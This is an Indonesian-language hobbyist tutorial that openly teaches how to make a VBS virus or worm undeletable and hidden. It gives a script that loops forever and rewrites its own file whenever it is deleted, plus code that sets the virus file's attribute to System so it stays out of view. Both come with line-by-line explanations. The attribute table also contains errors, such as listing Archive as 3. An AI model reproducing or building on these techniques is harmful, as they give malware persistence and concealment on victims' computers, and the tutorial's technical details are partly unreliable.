Huaaah… Kehabisan ide neeh mau bikin artikel apa. Hmmm.. akhirnya ada juga teman yang ngasih “kehidupan” pada pikirannya saya. Dia tanya gini “Spy, gimana sich caranya supaya Virus kita ngga’ bisa dihapus, tapi pakai ekstensi .VBS ? “Yeah.. trus jadi ingat dech sama tutorialnya [K] tentang antideletion Disini saya akan memberikan tutorial singkat bagi Anda yang belum mengetahui tentang ANTIDELETION dan pengesetan atribut file pada VBS.

Antideletion

CATATAN: Agar script ini bisa berjalan, letakan di baris akhir.

Gini neeh scriptnya:

------------------------------------------------start
dim fso, myself,mytext
set fso = createobject("scripting.filesystemobject")
set myself = fso.opentextfile(wscript.scriptfullname)
mytext = myself.readall
myself.close
do
if fso.fileexists(wscript.scriptfullname) = false then
set myself = fso.createtextfile(wscript.scriptfullname)
myself.write mytext
myself.close
end if
loop
--------------------------------------------------end

Penjelasan:

dim fso, myself,mytext
- Mendeklarasikan Variabel

set fso = createobject(“scripting.filesystemobject”)
- Membuat file system objek

set myself = fso.opentextfile(wscript.scriptfullname)
- Membuat texttream objek memakai file vbs

mytext = myself.readall
- Meletakkan semua file vbs dalam vatiabel mytext

myself.close
- menutup textream

do
- Kerjakan!

if fso.fileexists(wscript.scriptfullname) = false then
- Memeriksa apakah worm kita masih ada?? Jika tidak ada maka…

set myself = fso.createtextfile(wscript.scriptfullname)
- Worm akan “dihidupkan” kembali

myself.write mytext
- Menulis semua variabel textream yang telah kita buat tadi

myself.close
-Tutup

end if
menutup kondisi

loop
- Mengulangi langkah-langkah diatasnya….

Atribut File

Apa pentingnya atribut file pada Visual Basic?? Penting banget bro.. Sepertinya Worm jaman sekarang sedang musim bermain-main dengan atribut file. Masih ingat dengan ulah beberapa worm yang suka “menkloning” file dokumen dengan atribut hidden?? Tuch khan. okay.. lansung ajah…

On Error Resume Next
Set Fso = CreateObject(“Scripting.FileSystemObject”)
Set Gf = Fso.GetFile(“c:\virus.vbs”)
Gf.Attributes = (Gf.Attributes – Gf.Attributes) + 4

Penjelasan:

Naah.. apa lagi yang perlu dijelaskan? Pasti udah pada ngerti doong. Pada bagian akhir:

Gf.Attributes = (Gf.Attributes – Gf.Attributes) + 4
- Disana kita NORMALKAN atribut file itu sendiri lalu kita tambahkan (kita berikan) atribut 4 (System). Berikut daftar atribut file beserta penjelasan singkatnya:

0 = Normal
File normal atau tanpa atribut

1 = Read Only
Hanya bisa dibaca tanpa bisa diubah. Jika kamu memodifikasi isi dari file beratribut ini, maka saat kamu melakukan save file, file asli tidak akan berubah seakan-akan kamu melakukan perintah SAVE AS..

2 = Hidden
Hidden/tidak tampak kecuali kamu set show all files pada Folder Option

3 = Archive
Archive…

4 = System
Atribut untuk file system. Dengan atribut ini, file tidak akan tampak meskipun kamu set show all files pada Folder Option.

Segitu ajah tutorial dari Spyro. Semoga bermanfaat bagi yang belum mengetahui… bagi yang udah tau.. Ngapain loe baca sampai baris ini!!! Buang-buang waktu ajah..!!

Hehehe… ;-P